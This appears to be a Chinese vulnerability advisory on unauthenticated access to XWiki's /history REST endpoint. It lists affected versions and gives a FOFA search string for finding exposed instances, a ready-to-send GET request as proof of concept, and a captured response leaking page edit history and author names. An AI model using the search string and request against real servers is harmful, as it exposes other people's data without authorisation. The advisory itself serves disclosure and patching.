

XWiki history接口未授权访问

漏洞描述

XWiki的/ history接口存在未授权访问漏洞，未授权用户可通过该漏洞获取页面的每次修改、修改时间、版本号、修改的作者和版本注释等信息

影响版本

xwiki-platform >= 1.8.0, < 15.10.9 >= 16.0.0-rc-1, < 16.3.0-rc-1

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="data-xwiki-reference"

POC/EXP：

GET /xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history HTTP/1.1

Host: 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/133.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8 ,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

发送请求

强制 HTTPS

历史

爆破示例

生成 Yarn

Request

数据扫描美化热加载构造请求

1GET /xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history

2HTTP/1.1

3Host: 1

4Upgrade-Insecure-Requests: 1

5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

7Accept-Encoding: gzip, deflate

8Accept-Language: zh-CN,zh;q=0.9

9

Responses

15146bytes / 93ms美化编码详情

1HTTP/1.1 200 OK

2Server: nginx/1.26.1

3Date: Tue, 25 Feb 2025 04:42:58 GMT

4Content-Type: application/xml; charset=UTF-8

5Connection: keep-alive

6Content-Script-Type: text/javascript

7Set-Cookie: JSESSIONID=node01nx4bo6omgvep181qfkyoc0q1e679.node0; Path=/xwiki

8Expires: Thu, 01 Jan 1970 00:00:00 GMT

9Content-Language: zh-CN

10Accept-Ranges: bytes

11XWiki-Version: 13.10.4

12Content-Length: 15146

13

14<?xml version="1.0" encoding="UTF-8" standalone="yes"?><history xmlns="http://www.xwiki.org"><historySummary><link href="http://127.0.0.1:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history/18.8" rel="http://www.xwiki.org/rel/page/"><pageId>xwiki:Main.WebHome</pageId><wiki>xwiki</wiki><space>Main</space><name>WebHome</name><version>18.8</version><majorVersion>18</majorVersion><minorVersion>8</minorVersion><modified>2024-01-22T14:48:54+08:00</modified><modifier>Xwiki.zhangke</modifier><comment></comment></historySummary></historySummary></link>

漏洞修复

关注厂商官网动态，及时更新补丁信息。